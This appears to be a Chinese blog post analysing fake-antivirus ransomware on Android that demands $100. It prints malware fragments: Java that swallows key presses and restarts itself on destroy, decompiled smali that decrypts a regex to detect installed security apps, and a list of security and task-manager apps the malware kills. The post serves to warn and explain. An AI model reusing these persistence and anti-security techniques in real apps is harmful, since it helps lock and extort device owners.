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Android平台恶意程序:不支付$100隐私就泄漏】6月25日消息,安全公司赛门铁克发布报告,在Android平台上发现新的恶意程序伪装成杀毒软件挟持设备,消费者支付$100才能让设备正常运作。这些恶意程序抓住消费者寻求安全心态,误导消费者删除虚假或不存在木马恶意程序,进而控制整台设备来威胁机主。

另外这个软件不是通过Google play发布的,因此大家要谨慎选择来源选型。。不要安装未知来源,或者从正规电子商城下载啊!

软件入口,智能终端安全的最本质!!

其实以前就有这样的样本,逼着用户非得捐赠的。。。。比如下面的代码:

public boolean onKeyDown(int keyCode, KeyEvent event) {

return true;

}

 

 

protected void onDestroy() {

super.onDestroy();

startService(new Intent(getApplicationContext(), RestartService.class));

}

 

 

public void onCreate() {

super.onCreate();

startActivity(new Intent(getApplicationContext(), MaliciousActivity.class)

.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));

}

上述代码仅供说明,切勿模拟实战。。。。

 

 下面是这个勒索软件的界面:

把自己打扮成圣斗士了,一下子提示这么多危险,然后索要保护费。。。

Package name: com.android.defender.androiddefender

安装完的桌面图标是:

申请的权限:尼玛真多啊

  • Access location information, such as Cell-ID or WiFi.
  • Access location information, such as GPS information.
  • Access information about networks.
  • Access information about the WiFi state.
  • Change network connectivity state.
  • Change Wi-Fi connectivity state.
  • Allows applications to disable the keyguard.  允许程序禁用键盘锁
  • (Expand or collapse the status bar.
  • Access to the list of accounts in the Accounts Service.
  • Open network connections.
  • Ends background processes.  结束进程
  • Read user's contacts data.
  • Check the phone's current state.
  • Read SMS messages on the device.
  • Start once the device has finished booting.  自启动
  • Open windows.
  • Make the phone vibrate.
  • Prevent processor from sleeping or screen from dimming.
  • Create new contact data.
  • Write to external storage devices.
  • Create new SMS messages.
  • Install a shortcut

还激活了设备管理。。。

删除这些目录的apk。。这是防止下载杀毒软件吗?

  • [EXTERNAL STORAGE MEDIA]/Download
  • /mnt/external_sd/Download
  • /mnt/extSdCard/Download

创建 SQLite 数据库: droidbackup.db ,窃取系统短信。

设备锁定时弹出这个界面。。。伪道士!!!



把其他的兄弟进程都干掉!

  • com.rechild.advancedtaskkiller
  • com.estrongs.android.pop
  • com.metago.astro
  • com.avast.android.mobilesecurity
  • com.estrongs.android.taskmanager
  • com.gau.go.launcherex.gowidget.taskmanagerex
  • com.gau.go.launcherex
  • com.rechild.advancedtaskkillerpro
  • mobi.infolife.taskmanager
  • com.rechild.advancedtaskkillerfroyo
  • comqin.aotkiller
  • com.arron.taskManagerFree
  • com.rhythm.hexise.task

    然后。。。尼玛,楼主中剧毒了,全世界最流行的都中了!

    开始要钱了!!!

    还是打折价格。。

    卸载很困难,阻止别的应用启动,这个以前的恶意软件就有。这是以前一个软件的代码!

    .method public static b(Landroid/content/Context;)Ljava/lang/String;

    .locals 4

    const/4 v2, 0x0

    //the encrypted regular expression to match the package name of security software

    //(^com\.qihoo360\.mobilesafe$)|(^com\.tencent\.qqpimsecure$)|(^com\.lbe\.security$)

    const-string v0, "ZkBw8CLr9ek1HtMhfN7YKvBg8CF18t3N7xzRFvRAZkBw8CLr9eiR8I0R8eir9eksrtRgrC3wu

    KFRFvRAZkBw8CLr9IsWz3YOrC3wuKF1uoDDZl__"

    //decrypt this string

    invoke-static v0, Lcom/sec/android/providers/drm/However;->d(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v0

    invoke-virtual p0, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;

    move-result-object v1

    invoke-virtual v1, v2, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List;

    move-result-object v1

    :goto_0

    invoke-interface v1, Ljava/util/List;->size()I

    move-result v3

    //traverse the list of installed packages.

    if-ge v2, v3, :cond_1

    invoke-interface v1, v2, Ljava/util/List;->get(I)Ljava/lang/Object;

    move-result-object p0

    check-cast p0, Landroid/content/pm/PackageInfo;

    iget-object v3, p0, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;

    invoke-static v3, v0, Lcom/sec/android/providers/drm/However;->a

    (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

    move-result-object v3

    if-eqz v3, :cond_0

    iget-object v0, p0, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;

    :goto_1

    //find the security software. return its package name.

    return-object v0

    :cond_0

    //otherwise, check next package.

    add-int/lit8 v2, v2, 0x1

    goto :goto_0

    :cond_1

    const/4 v0, 0x0

    goto :goto_1

    .end method

     

    甚至修改了系统设置,连factory data reset 都不可以。后两者等我的源代码分析。

     

     

     

     

     

     

     

    本文标签: 杀毒软件伪装成恶意程序发现设备